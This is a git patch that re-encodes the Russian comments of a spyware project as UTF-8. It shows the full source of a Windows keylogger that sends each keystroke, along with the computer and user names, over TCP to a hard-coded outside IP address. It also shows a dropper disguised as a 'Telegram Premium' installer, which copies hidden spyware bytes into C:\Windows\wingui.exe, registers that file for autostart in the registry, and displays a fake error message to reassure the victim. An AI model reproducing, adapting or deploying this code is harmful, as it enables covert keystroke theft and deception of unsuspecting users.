From 66c9b81e04f12f47fd6adf39129026d992260ebf Mon Sep 17 00:00:00 2001 From: dubininvyu Date: Sun, 12 Feb 2023 00:18:59 +0300 Subject: [PATCH] Change character encoding to UTF-8 --- Client/main.cpp | 152 ++++++++++++++++++++++++------------------------ Fake/main.cpp | 66 ++++++++++----------- Fake/resource.h | 4 +- 3 files changed, 111 insertions(+), 111 deletions(-) diff --git a/Client/main.cpp b/Client/main.cpp index 1802757..ab36c0c 100644 --- a/Client/main.cpp +++ b/Client/main.cpp @@ -14,28 +14,28 @@ #include "main.h" std::map BUTTON_CODES = { -// {0x01, "LMB"}, // -// {0x02, "RMB"}, // -// {0x03, "CTRL+Break"}, // CTRL + Break -// {0x04, "MMB"}, // - {0x08, "BackSpace"}, // +// {0x01, "LMB"}, // левая кнопка мыши +// {0x02, "RMB"}, // правая кнопка мыши +// {0x03, "CTRL+Break"}, // комбинация CTRL + Break +// {0x04, "MMB"}, // средняя кнопка мыши + {0x08, "BackSpace"}, // кнопка возврата на одну позицию {0x09, "TAB"}, {0x0D, "Enter"}, - {0x10, "SHIFT_ADV"}, // Shift + {0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift {0x11, "CTRL"}, {0x12, "ALT"}, // {0x13, "PAUSE"}, {0x14, "Caps Lock"}, {0x1B, "ESC"}, - {0x20, "Space"}, // + {0x20, "Space"}, // пробел {0x21, "Page Up"}, {0x22, "Page Down"}, {0x23, "END"}, {0x24, "HOME"}, - {0x25, "Left arrow"}, // - {0x26, "Up arrow"}, // - {0x27, "Right arrow"}, // - {0x28, "Down arrow"}, // + {0x25, "Left arrow"}, // стрелка влево + {0x26, "Up arrow"}, // стрелка вверх + {0x27, "Right arrow"}, // стрелка вправо + {0x28, "Down arrow"}, // стрелка вниз // {0x2C, "Print Screen"}, {0x2D, "Insert"}, {0x2E, "Delete"}, @@ -124,19 +124,19 @@ std::map BUTTON_CODES = { struct TCPIPPacket { - uint8_t typeID; // - uint32_t size; // - uint32_t time; // - uint32_t crc32; // + uint8_t typeID; // идентификатор типа пакета + uint32_t size; // размер всего пакета в байтах + uint32_t time; // временная метка пакета + uint32_t crc32; // контрольная сумма пакета - uint32_t pcNameSize; // - std::string pcName; // + uint32_t pcNameSize; // количество байтов в имени компьютера + std::string pcName; // имя компьютера - uint32_t userNameSize; // - std::string userName; // + uint32_t userNameSize; // количество байтов в имени пользователя + std::string userName; // имя пользователя - uint32_t keyNameSize; // - std::string keyName; // + uint32_t keyNameSize; // количество байтов в имени нажатой клавиши + std::string keyName; // имя нажатой клавиши TCPIPPacket() : typeID(0xAA), size(0), time(0), crc32(0), @@ -147,12 +147,12 @@ struct TCPIPPacket { } }; -bytes_vector packetToBytes(const TCPIPPacket& rPacket); // +bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор -uint32_t calculateCrc32(bytes_vector& vBytes); // -void sendPacket(SOCKET& socket, bytes_vector& vBytes); // +uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета +void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета -void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // +void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш int WINAPI wWinMain( _In_ HINSTANCE hInstance, @@ -161,7 +161,7 @@ int WINAPI wWinMain( _In_ int nShowCmd ) { - TCPIPPacket packet; // + TCPIPPacket packet; // пакет для отправки TCHAR pcName[SHRT_MAX]; DWORD pcNameSize = SHRT_MAX; @@ -169,34 +169,34 @@ int WINAPI wWinMain( TCHAR userName[SHRT_MAX]; DWORD userNameSize = SHRT_MAX; - /* */ + /* получаем имя компьютера */ - while (!GetComputerName(pcName, &pcNameSize)); // , - packet.pcName = pcName; // - packet.pcNameSize = packet.pcName.length(); // + while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле + packet.pcName = pcName; // сохраним имя компьютера в пакете + packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера - /* */ + /* получаем имя пользователя */ - while (!GetUserName(userName, &userNameSize)); // , - packet.userName = userName; // - packet.userNameSize = packet.userName.length(); // + while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле + packet.userName = userName; // сохраним имя пользователя в пакете + packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя - /* */ + /* подключаемся к серверу */ WSADATA wsaData; const auto dllVersion = MAKEWORD(2, 1); - while (WSAStartup(dllVersion, &wsaData) != 0); // + while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно SOCKADDR_IN socketAddress; - socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP- - socketAddress.sin_port = htons(51043); // , + socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер + socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу socketAddress.sin_family = AF_INET; - SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // - while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // + SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет + while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу - /* */ + /* Отслеживаем нажатие клавиш */ while (true) { processKeyboard(connection, packet); @@ -208,41 +208,41 @@ int WINAPI wWinMain( void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) { for (const auto& mRow : BUTTON_CODES) { - const auto keyID = mRow.first; // + const auto keyID = mRow.first; // получаем идентификатор клавиши - if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // - continue; // + if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата + continue; // ищем дальше } - rPacket.time = (uint32_t)std::time(nullptr); // UNIX- + rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время - rPacket.keyName = mRow.second; // - rPacket.keyNameSize = mRow.second.length(); // + rPacket.keyName = mRow.second; // запишем имя клавиши + rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах - rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // + rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета return (0 - + sizeof(rPacket.typeID) // - + sizeof(rPacket.size) // - + sizeof(rPacket.time) // - + sizeof(rPacket.crc32) // - + rPacket.pcName.length() // - + sizeof(rPacket.pcNameSize) // - + rPacket.userName.length() // - + sizeof(rPacket.userNameSize) // - + rPacket.keyName.length() // - + sizeof(rPacket.keyNameSize) // + + sizeof(rPacket.typeID) // поле для хранения идентификатора пакета + + sizeof(rPacket.size) // поле под хранение длины пакета + + sizeof(rPacket.time) // поле под хранение временной метки + + sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета + + rPacket.pcName.length() // добавляем длину имени компьютера + + sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера + + rPacket.userName.length() // добавляем длину имени пользователя + + sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя + + rPacket.keyName.length() // добавляем длину имени нажатой клавиши + + sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши ); }(rPacket); - bytes_vector vBytes = packetToBytes(rPacket); // - rPacket.crc32 = calculateCrc32(vBytes); // + bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов + rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета - sendPacket(socket, vBytes); // + sendPacket(socket, vBytes); // отправляем пакет - Sleep(100); // 10 + Sleep(100); // 10 мс отдыхаем } - Sleep(10); // 10 + Sleep(10); // 10 мс отдыхаем } uint32_t calculateCrc32(bytes_vector& vBytes) { @@ -267,13 +267,13 @@ void sendPacket(SOCKET& socket, bytes_vector& vBytes) { char* message = new char[size + 1]; uint32_t i = 0; - for (const auto byte : vBytes) { // + for (const auto byte : vBytes) { // копируем байты из вектора в массив message[i++] = byte; } - send(socket, message, size, NULL); // TCP/IP + send(socket, message, size, NULL); // отправляем сообщение по TCP/IP - delete[] message; // + delete[] message; // удаляем массив } template <> @@ -285,16 +285,16 @@ void pushValue(bytes_vector& vBytes, const std::string& value) { bytes_vector packetToBytes(const TCPIPPacket& rPacket) { bytes_vector vBytes; - pushValue(vBytes, rPacket.typeID); // - pushValue(vBytes, rPacket.size); // - pushValue(vBytes, rPacket.time); // - pushValue(vBytes, rPacket.crc32); // - pushValue(vBytes, rPacket.pcNameSize); // - pushValue(vBytes, rPacket.pcName); // - pushValue(vBytes, rPacket.userNameSize); // - pushValue(vBytes, rPacket.userName); // - pushValue(vBytes, rPacket.keyNameSize); // - pushValue(vBytes, rPacket.keyName); // + pushValue(vBytes, rPacket.typeID); // тип пакета + pushValue(vBytes, rPacket.size); // размер пакета + pushValue(vBytes, rPacket.time); // временная метка + pushValue(vBytes, rPacket.crc32); // контрольная сумма + pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера + pushValue(vBytes, rPacket.pcName); // имя компьютера + pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя + pushValue(vBytes, rPacket.userName); // имя пользователя + pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши + pushValue(vBytes, rPacket.keyName); // имя клавиши return vBytes; } \ No newline at end of file diff --git a/Fake/main.cpp b/Fake/main.cpp index 7bdedbd..2aa8fd6 100644 --- a/Fake/main.cpp +++ b/Fake/main.cpp @@ -13,60 +13,60 @@ int WINAPI wWinMain( const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe"; /* - .exe tglib.dll. - . - , C:\Windows\wingui.exe - C:\Windows\wingui.exe + В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll. + На самом деле этот файл содержит байты клиентской части шпионского ПО. + Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe + А потом добавить файл C:\Windows\wingui.exe в автозагрузку */ std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary); - if (!srcFile.is_open()) { // - - const auto TITLE = " "; - const auto MESSAGE = " , Telegram Premium tglib.dll."; - MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // - return 1; // + if (!srcFile.is_open()) { // если файл куда-то пропал + const auto TITLE = "Ошибка инициализации"; + const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой } - /* .dll */ + /* читаем .dll файл */ - std::vector spywareBytes; // - while (!srcFile.eof()) { // , , + std::vector spywareBytes; // в вектор будем помещать байты шпионской программы + while (!srcFile.eof()) { // пока есть, что читать, будем читать char byte; - srcFile.read(&byte, sizeof byte); // - spywareBytes.push_back(byte); // + srcFile.read(&byte, sizeof byte); // считываем байт + spywareBytes.push_back(byte); // добавляем байт в вектор } - srcFile.close(); // + srcFile.close(); // закрываем файл - /* C: .exe */ + /* за диске C: создаем .exe файл */ std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc); if (!dstFile.is_open()) { - const auto TITLE = " "; - const auto MESSAGE = " Telegram Premium. #08000001."; - MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // - return 1; // + const auto TITLE = "Ошибка установки"; + const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой } - for (const auto byte : spywareBytes) { // .dll .exe + for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe dstFile << byte; } - dstFile.close(); // + dstFile.close(); // закрываем файл - /* wingui.exe */ + /* Добавляем wingui.exe в автозагрузку */ HKEY hKey; char szPath[MAX_PATH]; const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH); if (!(size > 0 && size < MAX_PATH)) { - const auto TITLE = " "; - const auto MESSAGE = " Telegram Premium. #08000002."; - MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // - return 1; // + const auto TITLE = "Ошибка установки"; + const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой } - RegCreateKeyEx(HKEY_LOCAL_MACHINE, // + RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре "Software\\Microsoft\\Windows\\CurrentVersion\\Run", NULL, 0, @@ -77,18 +77,18 @@ int WINAPI wWinMain( NULL ); - if (hKey) { // , + if (hKey) { // если ключ успешно создался, записываем значение RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH)); RegCloseKey(hKey); } /* - , - , , + Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой + Пусть он думает, что эта программа не работает, и спокойно ее удаляет */ - const auto TITLE = " "; - const auto MESSAGE = " , ."; + const auto TITLE = "Ошибка инициализации"; + const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре."; MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); return 0; diff --git a/Fake/resource.h b/Fake/resource.h index e61821f..c18e12a 100644 --- a/Fake/resource.h +++ b/Fake/resource.h @@ -1,6 +1,6 @@ //{{NO_DEPENDENCIES}} -// , Microsoft Visual C++. -// Fake.rc +// Включаемый файл, созданный в Microsoft Visual C++. +// Используется Fake.rc // #define IDI_ICON1 101